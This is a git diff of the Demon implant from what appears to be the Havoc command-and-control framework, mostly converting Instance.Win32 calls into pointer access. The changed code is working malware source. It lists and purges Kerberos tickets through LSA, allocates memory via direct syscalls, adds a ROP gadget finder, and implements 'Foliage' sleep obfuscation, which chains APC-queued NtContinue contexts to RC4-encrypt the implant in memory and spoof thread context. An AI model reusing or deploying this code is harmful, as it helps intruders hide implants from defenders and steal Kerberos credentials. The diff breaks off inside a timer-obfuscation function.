@@ BOOL Purge( HANDLE hToken, LUID luid ) END: if (hLsa) { - Instance.Win32.LsaDeregisterLogonProcess( hLsa ); + Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); @@ -631,10 +631,10 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ) goto END; } - status = Instance.Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); + status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { - PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance.Win32.LsaNtStatusToWinError( status ) ); + PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) ); goto END; } @@ -652,7 +652,7 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ) if ( sessionData->sessionData[i] == NULL ) continue; - NewSession = Instance.Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) ); + NewSession = Instance->Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) ); if ( ! NewSession ) continue; @@ -677,13 +677,13 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ) else cacheRequest.LogonId = ( LUID ){.HighPart = 0, .LowPart = 0}; - Instance.Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] ); + Instance->Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] ); cacheResponse = NULL; - status = Instance.Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus ); + status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus ); if ( ! NT_SUCCESS( status ) ) { - PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance.Win32.LsaNtStatusToWinError( status ) ); + PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) ); continue; } @@ -701,7 +701,7 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ) for ( int j = 0; j < cacheResponse->CountOfTickets; j++ ) { - TicketInfo = Instance.Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) ); + TicketInfo = Instance->Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) ); if ( ! TicketInfo ) continue; @@ -725,20 +725,20 @@ PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ) } } - Instance.Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL; + Instance->Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL; } ReturnValue = TRUE; END: if ( sessionData && sessionData->sessionData ) { - Instance.Win32.LocalFree( sessionData->sessionData ); + Instance->Win32.LocalFree( sessionData->sessionData ); } if ( sessionData ) { - Instance.Win32.LocalFree( sessionData ); + Instance->Win32.LocalFree( sessionData ); } if ( hLsa ) { - Instance.Win32.LsaDeregisterLogonProcess( hLsa ); + Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); @@ -758,10 +758,10 @@ LUID* GetLUID( HANDLE hToken ) if ( ! hToken ) return NULL; - if ( ! Instance.Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) ) + if ( ! Instance->Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) ) return NULL; - luid = Instance.Win32.LocalAlloc( LPTR, sizeof( LUID ) ); + luid = Instance->Win32.LocalAlloc( LPTR, sizeof( LUID ) ); if ( ! luid ) return NULL; diff --git a/payloads/Demon/src/core/Memory.c b/payloads/Demon/src/core/Memory.c index 27c6684..d392128 100644 --- a/payloads/Demon/src/core/Memory.c +++ b/payloads/Demon/src/core/Memory.c @@ -1,5 +1,6 @@ #include #include +#include /*! * @brief @@ -14,7 +15,7 @@ PVOID MmHeapAlloc( _In_ ULONG Length ) { - return Instance.Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length ); + return Instance->Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length ); } /*! @@ -31,7 +32,7 @@ PVOID MmHeapReAlloc( _In_ PVOID Memory, _In_ ULONG Length ) { - return Instance.Win32.RtlReAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length ); + return Instance->Win32.RtlReAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length ); } /*! @@ -47,7 +48,7 @@ PVOID MmHeapReAlloc( BOOL MmHeapFree( _In_ PVOID Memory ) { - return Instance.Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory ); + return Instance->Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory ); } /*! @@ -68,7 +69,7 @@ PVOID MmVirtualAlloc( PVOID Memory = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; - if ( Instance.Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) { + if ( Instance->Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC ); } @@ -76,8 +77,8 @@ PVOID MmVirtualAlloc( switch ( Methode ) { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { - Memory = Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ? - MmVirtualAlloc( Instance.Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that + Memory = Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ? + MmVirtualAlloc( Instance->Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that MmVirtualAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall return Memory; @@ -85,7 +86,7 @@ PVOID MmVirtualAlloc( case DX_MEM_WIN32: { PRINTF( "VirtualAllocEx( %x, NULL, %ld, %ld, %ld ) => ", Process, Size, MEM_RESERVE | MEM_COMMIT, Protect ); - Memory = Instance.Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect ); + Memory = Instance->Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect ); PRINTF( "%p\n", Memory ) break; } @@ -93,7 +94,7 @@ PVOID MmVirtualAlloc( case DX_MEM_SYSCALL: { if ( ! NT_SUCCESS( NtStatus = SysNtAllocateVirtualMemory( Process, &Memory, 0, &Size, MEM_COMMIT | MEM_RESERVE, Protect ) ) ) { PRINTF( "[-] NtAllocateVirtualMemory: Failed:[%lx]\n", NtStatus ) - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); Memory = NULL; } @@ -107,7 +108,7 @@ PVOID MmVirtualAlloc( PRINTF( "Memory:[%p] MemSize:[%d]\n", Memory, Size ); - if ( Memory && Instance.Config.Implant.Verbose ) { + if ( Memory && Instance->Config.Implant.Verbose ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC ); PackageAddPtr( Package, Memory ); @@ -144,21 +145,21 @@ BOOL MmVirtualProtect( switch ( Method ) { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { - if ( Instance.Config.Memory.Alloc != DX_MEM_DEFAULT ) { - return MmVirtualProtect( Instance.Config.Memory.Alloc, Process, Memory, Size, Protect ); + if ( Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ) { + return MmVirtualProtect( Instance->Config.Memory.Alloc, Process, Memory, Size, Protect ); } else { return MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect ); } } case DX_MEM_WIN32: { - Success = Instance.Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect ); + Success = Instance->Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect ); break; } case DX_MEM_SYSCALL: { if ( ! NT_SUCCESS( NtStatus = SysNtProtectVirtualMemory( Process, &Memory, &Size, Protect, &OldProtect ) ) ) { - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); } else { Success = TRUE; } @@ -171,7 +172,7 @@ BOOL MmVirtualProtect( } } - if ( Success && Instance.Config.Implant.Verbose ) { + if ( Success && Instance->Config.Implant.Verbose ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_PROTECT ); PackageAddPtr( Package, Memory ); @@ -236,6 +237,29 @@ BOOL MmVirtualFree( } } +PVOID MmGadgetFind( + _In_ PVOID Memory, + _In_ SIZE_T Length, + _In_ PVOID PatternBuffer, + _In_ SIZE_T PatternLength +) { + /* check if required arguments have been specified */ + if ( ( ! Memory || ! Length ) || + ( ! PatternBuffer || ! PatternLength ) + ) { + return NULL; + } + + /* now search for gadgets/pattern */ + for ( SIZE_T Len = 0; Len < Length; Len++ ) { + if ( MemCompare( C_PTR( U_PTR( Memory ) + Len ), PatternBuffer, PatternLength ) == 0 ) { + return C_PTR( U_PTR( Memory ) + Len ); + } + } + + return NULL; +} + #ifdef SHELLCODE /*! * Frees the reflective loader diff --git a/payloads/Demon/src/core/MiniStd.c b/payloads/Demon/src/core/MiniStd.c index a2f15b2..a9d4b67 100644 --- a/payloads/Demon/src/core/MiniStd.c +++ b/payloads/Demon/src/core/MiniStd.c @@ -302,7 +302,7 @@ UINT64 GetSystemFileTime( ) FILETIME ft; LARGE_INTEGER li; - Instance.Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC + Instance->Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC li.LowPart = ft.dwLowDateTime; li.HighPart = ft.dwHighDateTime; diff --git a/payloads/Demon/src/core/SleepObf.c b/payloads/Demon/src/core/Obf.c similarity index 65% rename from payloads/Demon/src/core/SleepObf.c rename to payloads/Demon/src/core/Obf.c index 9d02f2d..abcf0d8 100644 --- a/payloads/Demon/src/core/SleepObf.c +++ b/payloads/Demon/src/core/Obf.c @@ -11,20 +11,6 @@ #if _WIN64 -typedef struct -{ - DWORD Length; - DWORD MaximumLength; - PVOID Buffer; -} USTRING; - -typedef struct _SLEEP_PARAM -{ - UINT32 TimeOut; - PVOID Master; - PVOID Slave; -} SLEEP_PARAM, *PSLEEP_PARAM ; - /*! * @brief * foliage is a sleep obfuscation technique that is using APC calls @@ -67,17 +53,17 @@ VOID FoliageObf( DWORD dwProtect = PAGE_EXECUTE_READWRITE; SIZE_T TmpValue = 0; - ImageBase = Instance.Session.ModuleBase; - ImageSize = Instance.Session.ModuleSize; + ImageBase = Instance->Session.ModuleBase; + ImageSize = Instance->Session.ModuleSize; // Check if .text section is defined - if (Instance.Session.TxtBase != 0 && Instance.Session.TxtSize != 0) { - TxtBase = Instance.Session.TxtBase; - TxtSize = Instance.Session.TxtSize; + if (Instance->Session.TxtBase != 0 && Instance->Session.TxtSize != 0) { + TxtBase = Instance->Session.TxtBase; + TxtSize = Instance->Session.TxtSize; dwProtect = PAGE_EXECUTE_READ; } else { - TxtBase = Instance.Session.ModuleBase; - TxtSize = Instance.Session.ModuleSize; + TxtBase = Instance->Session.ModuleBase; + TxtSize = Instance->Session.ModuleSize; } // Generate random keys @@ -92,22 +78,22 @@ VOID FoliageObf( if ( NT_SUCCESS( SysNtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) ) { - if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance.Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) ) + if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) ) { - RopInit = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopCap = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopSpoof = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopInit = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopCap = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopSpoof = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopBegin = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopSetMemRw = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopMemEnc = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopGetCtx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopSetCtx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopWaitObj = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopMemDec = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopSetMemRx = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopSetCtx2 = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); - RopExitThd = Instance.Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopBegin = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopSetMemRw = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopMemEnc = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopGetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopSetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopWaitObj = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopMemDec = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopSetMemRx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopSetCtx2 = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); + RopExitThd = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopInit->ContextFlags = CONTEXT_FULL; RopCap->ContextFlags = CONTEXT_FULL; @@ -126,7 +112,7 @@ VOID FoliageObf( if ( NT_SUCCESS( SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupObj, THREAD_ALL_ACCESS, 0, 0 ) ) ) { - if ( NT_SUCCESS( Instance.Win32.NtGetContextThread( hThread, RopInit ) ) ) + if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( hThread, RopInit ) ) ) { MemCopy( RopBegin, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetMemRw, RopInit, sizeof( CONTEXT ) ); @@ -140,111 +126,111 @@ VOID FoliageObf( MemCopy( RopExitThd, RopInit, sizeof( CONTEXT ) ); RopBegin->ContextFlags = CONTEXT_FULL; - RopBegin->Rip = U_PTR( Instance.Win32.NtWaitForSingleObject ); + RopBegin->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject ); RopBegin->Rsp -= U_PTR( 0x1000 * 13 ); RopBegin->Rcx = U_PTR( hEvent ); RopBegin->Rdx = U_PTR( FALSE ); RopBegin->R8 = U_PTR( NULL ); - *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtWaitForSingleObject( Evt, FALSE, NULL ) RopSetMemRw->ContextFlags = CONTEXT_FULL; - RopSetMemRw->Rip = U_PTR( Instance.Win32.NtProtectVirtualMemory ); + RopSetMemRw->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory ); RopSetMemRw->Rsp -= U_PTR( 0x1000 * 12 ); RopSetMemRw->Rcx = U_PTR( NtCurrentProcess() ); RopSetMemRw->Rdx = U_PTR( &ImageBase ); RopSetMemRw->R8 = U_PTR( &ImageSize ); RopSetMemRw->R9 = U_PTR( PAGE_READWRITE ); - *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( &TmpValue ); // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_READWRITE, NULL, ); RopMemEnc->ContextFlags = CONTEXT_FULL; - RopMemEnc->Rip = U_PTR( Instance.Win32.SystemFunction032 ); + RopMemEnc->Rip = U_PTR( Instance->Win32.SystemFunction032 ); RopMemEnc->Rsp -= U_PTR( 0x1000 * 11 ); RopMemEnc->Rcx = U_PTR( &Rc4 ); RopMemEnc->Rdx = U_PTR( &Key ); - *( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // SystemFunction032( &Rc4, &Key ); RC4 Encryption RopGetCtx->ContextFlags = CONTEXT_FULL; - RopGetCtx->Rip = U_PTR( Instance.Win32.NtGetContextThread ); + RopGetCtx->Rip = U_PTR( Instance->Win32.NtGetContextThread ); RopGetCtx->Rsp -= U_PTR( 0x1000 * 10 ); RopGetCtx->Rcx = U_PTR( hDupObj ); RopGetCtx->Rdx = U_PTR( RopCap ); - *( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtGetContextThread( Src, Cap ); RopSetCtx->ContextFlags = CONTEXT_FULL; - RopSetCtx->Rip = U_PTR( Instance.Win32.NtSetContextThread ); + RopSetCtx->Rip = U_PTR( Instance->Win32.NtSetContextThread ); RopSetCtx->Rsp -= U_PTR( 0x1000 * 9 ); RopSetCtx->Rcx = U_PTR( hDupObj ); RopSetCtx->Rdx = U_PTR( RopSpoof ); - *( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtSetContextThread( Src, Spf ); // NOTE: Here is the thread sleeping... RopWaitObj->ContextFlags = CONTEXT_FULL; - RopWaitObj->Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx ); + RopWaitObj->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx ); RopWaitObj->Rsp -= U_PTR( 0x1000 * 8 ); RopWaitObj->Rcx = U_PTR( hDupObj ); RopWaitObj->Rdx = U_PTR( Param->TimeOut ); RopWaitObj->R8 = U_PTR( FALSE ); - *( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // WaitForSingleObjectEx( Src, Fbr->Time, FALSE ); // NOTE: thread image decryption RopMemDec->ContextFlags = CONTEXT_FULL; - RopMemDec->Rip = U_PTR( Instance.Win32.SystemFunction032 ); + RopMemDec->Rip = U_PTR( Instance->Win32.SystemFunction032 ); RopMemDec->Rsp -= U_PTR( 0x1000 * 7 ); RopMemDec->Rcx = U_PTR( &Rc4 ); RopMemDec->Rdx = U_PTR( &Key ); - *( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // SystemFunction032( &Rc4, &Key ); Rc4 Decryption // RW -> RWX RopSetMemRx->ContextFlags = CONTEXT_FULL; - RopSetMemRx->Rip = U_PTR( Instance.Win32.NtProtectVirtualMemory ); + RopSetMemRx->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory ); RopSetMemRx->Rsp -= U_PTR( 0x1000 * 6 ); RopSetMemRx->Rcx = U_PTR( NtCurrentProcess() ); RopSetMemRx->Rdx = U_PTR( &TxtBase ); RopSetMemRx->R8 = U_PTR( &TxtSize ); RopSetMemRx->R9 = U_PTR( dwProtect ); - *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( & TmpValue ); // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_EXECUTE_READ, & TmpValue ); RopSetCtx2->ContextFlags = CONTEXT_FULL; - RopSetCtx2->Rip = U_PTR( Instance.Win32.NtSetContextThread ); + RopSetCtx2->Rip = U_PTR( Instance->Win32.NtSetContextThread ); RopSetCtx2->Rsp -= U_PTR( 0x1000 * 5 ); RopSetCtx2->Rcx = U_PTR( hDupObj ); RopSetCtx2->Rdx = U_PTR( RopCap ); - *( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtSetContextThread( Src, Cap ); RopExitThd->ContextFlags = CONTEXT_FULL; - RopExitThd->Rip = U_PTR( Instance.Win32.RtlExitUserThread ); + RopExitThd->Rip = U_PTR( Instance->Win32.RtlExitUserThread ); RopExitThd->Rsp -= U_PTR( 0x1000 * 4 ); RopExitThd->Rcx = U_PTR( ERROR_SUCCESS ); - *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance.Win32.NtTestAlert ); + *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // RtlExitUserThread( ERROR_SUCCESS ); - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave; - if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance.Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave; + if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave; if ( NT_SUCCESS( SysNtAlertResumeThread( hThread, NULL ) ) ) { RopSpoof->ContextFlags = CONTEXT_FULL; - RopSpoof->Rip = U_PTR( Instance.Win32.WaitForSingleObjectEx ); - RopSpoof->Rsp = U_PTR( Instance.Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers + RopSpoof->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx ); + RopSpoof->Rsp = U_PTR( Instance->Teb->NtTib.StackBase ); // TODO: try to spoof the stack and remove the pointers // Execute every registered Apc thread SysNtSignalAndWaitForSingleObject( hEvent, hThread, FALSE, NULL ); @@ -257,57 +243,57 @@ VOID FoliageObf( Leave: if ( RopExitThd != NULL ) { - Instance.Win32.LocalFree( RopExitThd ); + Instance->Win32.LocalFree( RopExitThd ); RopExitThd = NULL; } if ( RopSetCtx2 != NULL ) { - Instance.Win32.LocalFree( RopSetCtx2 ); + Instance->Win32.LocalFree( RopSetCtx2 ); RopSetCtx2 = NULL; } if ( RopSetMemRx != NULL ) { - Instance.Win32.LocalFree( RopSetMemRx ); + Instance->Win32.LocalFree( RopSetMemRx ); RopSetMemRx = NULL; } if ( RopMemDec != NULL ) { - Instance.Win32.LocalFree( RopMemDec ); + Instance->Win32.LocalFree( RopMemDec ); RopMemDec = NULL; } if ( RopWaitObj != NULL ) { - Instance.Win32.LocalFree( RopWaitObj ); + Instance->Win32.LocalFree( RopWaitObj ); RopWaitObj = NULL; } if ( RopSetCtx != NULL ) { - Instance.Win32.LocalFree( RopSetCtx ); + Instance->Win32.LocalFree( RopSetCtx ); RopSetCtx = NULL; } if ( RopSetMemRw != NULL ) { - Instance.Win32.LocalFree( RopSetMemRw ); + Instance->Win32.LocalFree( RopSetMemRw ); RopSetMemRw = NULL; } if ( RopBegin != NULL ) { - Instance.Win32.LocalFree( RopBegin ); + Instance->Win32.LocalFree( RopBegin ); RopBegin = NULL; } if ( RopSpoof != NULL ) { - Instance.Win32.LocalFree( RopSpoof ); + Instance->Win32.LocalFree( RopSpoof ); RopSpoof = NULL; } if ( RopCap != NULL ) { - Instance.Win32.LocalFree( RopCap ); + Instance->Win32.LocalFree( RopCap ); RopCap = NULL; } if ( RopInit != NULL ) { - Instance.Win32.LocalFree( RopInit ); + Instance->Win32.LocalFree( RopInit ); RopInit = NULL; } @@ -330,7 +316,7 @@ Leave: MemSet( &Key, 0, sizeof( USTRING ) ); MemSet( &Random, 0, 0x10 ); - Instance.Win32.SwitchToFiber( Param->Master ); + Instance->Win32.SwitchToFiber( Param->Master ); } /*! @@ -351,56 +337,50 @@ Leave: * @return */ BOOL TimerObf( - IN DWORD TimeOut, - IN DWORD Method + _In_ ULONG TimeOut, + _In_ ULONG Method ) { /* Handles */ - HANDLE Queue = NULL; - HANDLE Timer = NULL; - HANDLE ThdSrc = NULL; - HANDLE EvntStart = NULL; - HANDLE EvntTimer = NULL; - HANDLE EvntDelay = NULL; - HANDLE EvntWait = NULL; - - /* buffer/pointer holders */ - UCHAR Buf[ 16 ] = { 0 }; - USTRING Key = { 0 }; - USTRING Img = { 0 }; - PVOID ImgBase = { 0 }; - ULONG ImgSize = { 0 }; - - /* rop/thread contexts */ - CONTEXT TimerCtx = { 0 }; - CONTEXT ThdCtx = { 0 }; - CONTEXT Rop[ 13 ] = { { 0 } }; - - /* some vars */ - DWORD Value = 0; - DWORD Delay = 0; - BOOL Success = FALSE; + HANDLE Queue = { 0 }; + 